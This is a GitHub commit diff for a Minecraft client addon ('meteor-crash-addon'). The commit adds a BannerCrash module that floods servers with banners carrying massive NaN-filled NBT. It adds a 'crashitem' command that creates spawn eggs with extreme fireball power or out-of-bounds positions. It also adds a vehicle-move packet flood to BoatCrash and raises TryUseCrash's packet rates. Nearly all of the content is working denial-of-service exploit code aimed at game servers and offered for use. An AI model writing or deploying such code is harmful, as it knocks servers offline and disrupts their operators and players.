Skip to content

Commit 56d79a3

Browse files
authored
balls (#5)
- BannerCrash - crashitemcommand - tweaks
1 parent 7f7faf6 commit 56d79a3

File tree

6 files changed

+189
-22
lines changed

6 files changed

+189
-22
lines changed

gradle.properties

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,6 @@ loader_version=0.13.3
77

88

99
# Mod Properties
10-
mod_version = 0.2
10+
mod_version = 0.5
1111
maven_group = Wide-Cat
1212
archives_base_name = meteor-crash-addon

src/main/java/widecat/meteorcrashaddon/CrashAddon.java

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,13 +11,15 @@
1111
import meteordevelopment.meteorclient.addons.GithubRepo;
1212
import meteordevelopment.meteorclient.addons.MeteorAddon;
1313
import meteordevelopment.meteorclient.MeteorClient;
14+
import meteordevelopment.meteorclient.systems.commands.Commands;
1415
import meteordevelopment.meteorclient.systems.modules.Category;
1516
import meteordevelopment.meteorclient.systems.modules.Modules;
1617

1718
import net.fabricmc.loader.api.FabricLoader;
1819
import net.minecraft.item.Items;
1920
import org.slf4j.Logger;
2021
import org.slf4j.LoggerFactory;
22+
import widecat.meteorcrashaddon.commands.CrashItemCommand;
2123
import widecat.meteorcrashaddon.modules.*;
2224

2325
import java.lang.invoke.MethodHandles;
@@ -33,6 +35,7 @@ public void onInitialize() {
3335
MeteorClient.EVENT_BUS.registerLambdaFactory("widecat.meteorcrashaddon", (lookupInMethod, klass) -> (MethodHandles.Lookup) lookupInMethod.invoke(null, klass, MethodHandles.lookup()));
3436

3537
Modules.get().add(new AACCrash());
38+
Modules.get().add(new BannerCrash());
3639
Modules.get().add(new BoatCrash());
3740
Modules.get().add(new BookCrash());
3841
Modules.get().add(new ContainerCrash());
@@ -47,6 +50,8 @@ public void onInitialize() {
4750
Modules.get().add(new TryUseCrash());
4851
Modules.get().add(new NoComCrash());
4952
Modules.get().add(new LecternCrash());
53+
54+
Commands.get().add(new CrashItemCommand());
5055
}
5156

5257
@Override
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
package widecat.meteorcrashaddon.commands;
2+
3+
import com.mojang.brigadier.builder.LiteralArgumentBuilder;
4+
import meteordevelopment.meteorclient.systems.commands.Command;
5+
import net.minecraft.command.CommandSource;
6+
import net.minecraft.item.ItemStack;
7+
import net.minecraft.item.Items;
8+
import net.minecraft.nbt.NbtCompound;
9+
import net.minecraft.nbt.NbtDouble;
10+
import net.minecraft.nbt.NbtList;
11+
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
12+
13+
import static com.mojang.brigadier.Command.SINGLE_SUCCESS;
14+
15+
public class CrashItemCommand extends Command {
16+
17+
public CrashItemCommand() {
18+
super("crashitem", "Gives you crash items.");
19+
}
20+
21+
@Override
22+
public void build(LiteralArgumentBuilder<CommandSource> builder) {
23+
builder.then(literal("CrashFireball").executes(ctx -> {
24+
ItemStack CrashFireball = new ItemStack(Items.CAVE_SPIDER_SPAWN_EGG);
25+
NbtCompound tag1 = new NbtCompound();
26+
NbtList power = new NbtList();
27+
power.add(NbtDouble.of(1.0E43));
28+
power.add(NbtDouble.of(0));
29+
power.add(NbtDouble.of(0));
30+
tag1.putString("id", "minecraft:small_fireball");
31+
tag1.put("power", power);
32+
CrashFireball.setSubNbt("EntityTag", tag1);
33+
CreativeInventoryActionC2SPacket balls = new CreativeInventoryActionC2SPacket(36 + mc.player.getInventory().selectedSlot, CrashFireball);
34+
mc.getNetworkHandler().sendPacket(balls);
35+
return SINGLE_SUCCESS;
36+
}));
37+
38+
builder.then(literal("OOBEgg").executes(ctx -> {
39+
ItemStack gato = new ItemStack(Items.CAT_SPAWN_EGG);
40+
NbtCompound tag2 = new NbtCompound();
41+
NbtList pos = new NbtList();
42+
pos.add(NbtDouble.of(2147483647));
43+
pos.add(NbtDouble.of(2147483647));
44+
pos.add(NbtDouble.of(2147483647));
45+
tag2.put("Pos", pos);
46+
gato.setSubNbt("EntityTag", tag2);
47+
CreativeInventoryActionC2SPacket elgato = new CreativeInventoryActionC2SPacket(36 + mc.player.getInventory().selectedSlot, gato);
48+
mc.getNetworkHandler().sendPacket(elgato);
49+
return SINGLE_SUCCESS;
50+
}));
51+
52+
}
53+
}
Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
package widecat.meteorcrashaddon.modules;
2+
3+
import meteordevelopment.meteorclient.events.game.GameLeftEvent;
4+
import meteordevelopment.meteorclient.events.world.TickEvent;
5+
import meteordevelopment.meteorclient.settings.*;
6+
import meteordevelopment.meteorclient.systems.modules.Module;
7+
import meteordevelopment.orbit.EventHandler;
8+
import net.minecraft.item.ItemStack;
9+
import net.minecraft.item.Items;
10+
import net.minecraft.nbt.NbtCompound;
11+
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
12+
import widecat.meteorcrashaddon.CrashAddon;
13+
14+
public class BannerCrash extends Module {
15+
private final SettingGroup sgGeneral = settings.getDefaultGroup();
16+
17+
private final Setting<Integer> amount = sgGeneral.add(new IntSetting.Builder()
18+
.name("amount")
19+
.description("How many packets to send to the server per tick.")
20+
.defaultValue(100)
21+
.min(1)
22+
.sliderMin(1)
23+
.sliderMax(1000)
24+
.build()
25+
);
26+
27+
private final Setting<Integer> size = sgGeneral.add(new IntSetting.Builder()
28+
.name("banner-size")
29+
.description("How big the banner should be.")
30+
.defaultValue(30000)
31+
.min(1)
32+
.sliderMin(1)
33+
.sliderMax(50000)
34+
.build()
35+
);
36+
37+
private final Setting<SlotMode> slotMode = sgGeneral.add(new EnumSetting.Builder<SlotMode>()
38+
.name("creative-slot-mode")
39+
.description("Which slot mode to use.")
40+
.defaultValue(SlotMode.Hotbar)
41+
.build()
42+
);
43+
44+
private final Setting<Integer> slots = sgGeneral.add(new IntSetting.Builder()
45+
.name("slots")
46+
.description("How many slots to use for the books.")
47+
.defaultValue(1)
48+
.min(1)
49+
.sliderMin(1)
50+
.sliderMax(36)
51+
.visible(() -> slotMode.get() == SlotMode.FullInv)
52+
.build()
53+
);
54+
55+
private final Setting<Boolean> autoDisable = sgGeneral.add(new BoolSetting.Builder()
56+
.name("auto-disable")
57+
.description("Disables module on kick.")
58+
.defaultValue(true)
59+
.build()
60+
);
61+
62+
public BannerCrash() {
63+
super(CrashAddon.CATEGORY , "banner-crash", "Attempts to crash the server by spamming banners with massive NBT.");
64+
}
65+
66+
@EventHandler
67+
private void onTick(TickEvent.Post event) {
68+
for (int i = 0; i < amount.get(); i++) {
69+
ItemStack stack = new ItemStack(Items.BLACK_BANNER);
70+
NbtCompound tag = new NbtCompound();
71+
for (int ii = 0; ii < size.get(); ii++) tag.putDouble(String.valueOf(ii), Double.NaN);
72+
stack.setNbt(tag);
73+
if (slotMode.get() == SlotMode.FullInv) {
74+
for (int ii = 9; ii < 9 + slots.get(); ii++) mc.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(ii, stack)); //mc.interactionManager.clickCreativeStack(stack, ii);
75+
} else if (slotMode.get() == SlotMode.Hotbar) {
76+
for (int ii = 36; ii < 36 + 9; ii++) mc.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(ii, stack)); // mc.interactionManager.clickCreativeStack(stack, ii);
77+
}
78+
}
79+
}
80+
81+
@EventHandler
82+
private void onGameLeft(GameLeftEvent event) {
83+
if (autoDisable.get()) toggle();
84+
}
85+
86+
public enum SlotMode {
87+
Hotbar,
88+
FullInv
89+
}
90+
}

src/main/java/widecat/meteorcrashaddon/modules/BoatCrash.java

Lines changed: 37 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -8,41 +8,51 @@
88

99
package widecat.meteorcrashaddon.modules;
1010

11-
/*
12-
Ported from Cornos to Crash Addon by Wide_Cat
13-
https://github.com/0x151/Cornos/blob/master/src/main/java/me/zeroX150/cornos/features/module/impl/exploit/crash/BoatCrash.java
14-
*/
15-
11+
import meteordevelopment.meteorclient.settings.*;
12+
import widecat.meteorcrashaddon.CrashAddon;
1613
import meteordevelopment.meteorclient.events.game.GameLeftEvent;
1714
import meteordevelopment.meteorclient.events.world.PlaySoundEvent;
1815
import meteordevelopment.meteorclient.events.world.TickEvent;
19-
import meteordevelopment.meteorclient.settings.BoolSetting;
20-
import meteordevelopment.meteorclient.settings.IntSetting;
21-
import meteordevelopment.meteorclient.settings.Setting;
22-
import meteordevelopment.meteorclient.settings.SettingGroup;
2316
import meteordevelopment.meteorclient.systems.modules.Module;
2417
import meteordevelopment.orbit.EventHandler;
2518
import net.minecraft.entity.Entity;
2619
import net.minecraft.entity.vehicle.BoatEntity;
2720
import net.minecraft.network.packet.c2s.play.BoatPaddleStateC2SPacket;
28-
import widecat.meteorcrashaddon.CrashAddon;
21+
import net.minecraft.network.packet.c2s.play.VehicleMoveC2SPacket;
22+
import net.minecraft.util.math.BlockPos;
23+
import net.minecraft.util.math.Vec3d;
24+
25+
import static widecat.meteorcrashaddon.modules.BoatCrash.Mode.Shit;
2926

3027
public class BoatCrash extends Module {
28+
public enum Mode {
29+
Shit,
30+
New
31+
}
32+
3133
private final SettingGroup sgGeneral = settings.getDefaultGroup();
3234

35+
private final Setting<Mode> mode = sgGeneral.add(new EnumSetting.Builder<Mode>()
36+
.name("mode")
37+
.description("Which crash method to use.")
38+
.defaultValue(Mode.New)
39+
.build()
40+
);
41+
3342
private final Setting<Integer> amount = sgGeneral.add(new IntSetting.Builder()
3443
.name("amount")
3544
.description("How many packets to send to the server per tick.")
36-
.defaultValue(100)
37-
.min(1)
38-
.sliderMax(1000)
45+
.defaultValue(2000)
46+
.min(1000)
47+
.sliderMax(8000)
3948
.build()
4049
);
4150

4251
private final Setting<Boolean> noSound = sgGeneral.add(new BoolSetting.Builder()
4352
.name("no-sound")
4453
.description("Blocks the noisy paddle sounds.")
4554
.defaultValue(false)
55+
.visible(() -> mode.get() == Shit)
4656
.build()
4757
);
4858

@@ -53,8 +63,6 @@ public class BoatCrash extends Module {
5363
.build()
5464
);
5565

56-
private final BoatPaddleStateC2SPacket PACKET = new BoatPaddleStateC2SPacket(true, true);
57-
5866
public BoatCrash() {
5967
super(CrashAddon.CATEGORY, "boat-crash", "Tries to crash the server when you are in a boat. (By 0x150)");
6068
}
@@ -67,9 +75,20 @@ private void onTick(TickEvent.Post event) {
6775
toggle();
6876
return;
6977
}
70-
71-
for (int i = 0; i < amount.get(); i++) {
72-
mc.getNetworkHandler().sendPacket(PACKET);
78+
if (mode.get() == Mode.Shit) {
79+
BoatPaddleStateC2SPacket PACKET = new BoatPaddleStateC2SPacket(true, true);
80+
for (int i = 0; i < amount.get(); i++) {
81+
mc.getNetworkHandler().sendPacket(PACKET);
82+
}
83+
} else {
84+
Entity vehicle = mc.player.getVehicle();
85+
BlockPos start = mc.player.getBlockPos();
86+
Vec3d end = new Vec3d(start.getX() + .5, start.getY() + 1, start.getZ() + .5);
87+
vehicle.updatePosition(end.x, end.y - 1, end.z);
88+
VehicleMoveC2SPacket PACKET2 = new VehicleMoveC2SPacket(vehicle);
89+
for (int i = 0; i < amount.get(); i++) {
90+
mc.getNetworkHandler().sendPacket(PACKET2);
91+
}
7392
}
7493
}
7594

src/main/java/widecat/meteorcrashaddon/modules/TryUseCrash.java

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -35,9 +35,9 @@ public class TryUseCrash extends Module {
3535
private final Setting<Integer> packets = sgGeneral.add(new IntSetting.Builder()
3636
.name("packets")
3737
.description("How many packets to send per tick.")
38-
.defaultValue(38)
39-
.min(1)
40-
.sliderMax(100)
38+
.defaultValue(1000)
39+
.min(400)
40+
.sliderMax(5000)
4141
.build()
4242
);
4343

0 commit comments

Comments
 (0)